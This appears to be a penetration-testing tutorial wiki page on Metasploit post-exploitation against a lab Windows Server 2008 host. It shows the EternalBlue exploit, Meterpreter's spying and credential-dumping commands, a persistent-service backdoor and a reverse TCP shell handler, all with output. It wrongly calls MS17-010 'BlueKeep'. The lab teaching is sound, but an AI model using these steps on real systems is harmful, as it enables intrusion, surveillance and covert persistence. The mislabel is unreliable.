Skip to content

8. Post Exploitation

Thibault edited this page Apr 6, 2021 · 3 revisions

Post-exploitation refers to any actions taken after a session is opened. After entering into a system, we could for exemple, look at files, steal passwords, gain access to the entire network from the target machine, run a keylogger, increase our priviledges to the administrator level etc..

meterpreter

Meterpreter is an advanced, multi-faceted payload that operates via DLL injection. It resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques.

Source: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

Let's re-use the BlueKeep vulnerability on Windows Server 2008:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.0.2.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
...
meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user desktop in real time
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

From there we can do bunch of funny things, such as register keystrokes, record audio from the microphone, watch the remote user desktop in real time etc.. 🤯

If we take a look at the network connections, we can see that we established our connection on the spoolsv.exe program:

meterpreter > netstat

Connection list
===============

    Proto  Local address       Remote address     State        User  Inode  PID/Program name
    -----  -------------       --------------     -----        ----  -----  ----------------
    ...
    tcp    10.0.2.5:49374      10.0.2.4:4444       ESTABLISHED  0     0      1092/spoolsv.exe

Now that we are on the machine we wanted to attack, the first thing that we could do is to increase our privileges. In the case of the BlueKeep attack, we already have the highest possible privilege, but if needed, there's a bunch of local modules that we can use on the metasploit framework.

Now that we gained access to the machine, we might want to facilate the process to come later on, this is called persistence. Here's how to set it up:

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > use windows/local/persistence_service
msf6 exploit(windows/local/persistence_service) > set session 1
msf6 exploit(windows/local/persistence_service) > info

       Name: Windows Persistent Service Installer
     Module: exploit/windows/local/persistence_service
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-10-20

Provided by:
  Green-m <greenm.xxoo@gmail.com>

Available targets:
  Id  Name
  --  ----
  0   Windows

Check supported:
  No

Basic options:
  Name                 Current Setting  Required  Description
  ----                 ---------------  --------  -----------
  REMOTE_EXE_NAME                       no        The remote victim name. Random string as default.
  REMOTE_EXE_PATH                       no        The remote victim exe path to run. Use temp directory as default.
  RETRY_TIME           5                no        The retry time that shell connect failed. 5 seconds as default.
  SERVICE_DESCRIPTION                   no        The description of service. Random string as default.
  SERVICE_NAME                          no        The name of service. Random string as default.
  SESSION              1                yes       The session to run this module on.

Payload information:

Description:
  This Module will generate and upload an executable to a remote host,
  next will make it a persistent service. It will create a new service
  which will start the payload whenever the service is running. Admin
  or system privilege is required.

References:
  https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp

msf6 exploit(windows/local/persistence_service) > run

[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Running module against METASPLOITABLE3
[+] Meterpreter service exe written to C:\Windows\TEMP\fDjQnk.exe
[*] Creating service tdtd
[*] Sending stage (175174 bytes) to 10.0.2.5
[*] Cleanup Meterpreter RC File: /home/kali/.msf4/logs/persistence/METASPLOITABLE3_20210309.1302/METASPLOITABLE3_20210309.1302.rc
[*] Meterpreter session 2 opened (10.0.2.4:4444 -> 10.0.2.5:50172) at 2021-03-09 20:13:03 -0500

Now we're be able to re-establish the connection whenever we want, as long as the machine is running, we don't even have to wait for the user to log in.

Simply restart the Windows 2008 machine and run the followings commands to re-establish the connection:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Sending stage (175174 bytes) to 10.0.2.5
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.5:49352) at 2021-04-06 09:36:31 -0400

Next Page >

Clone this wiki locally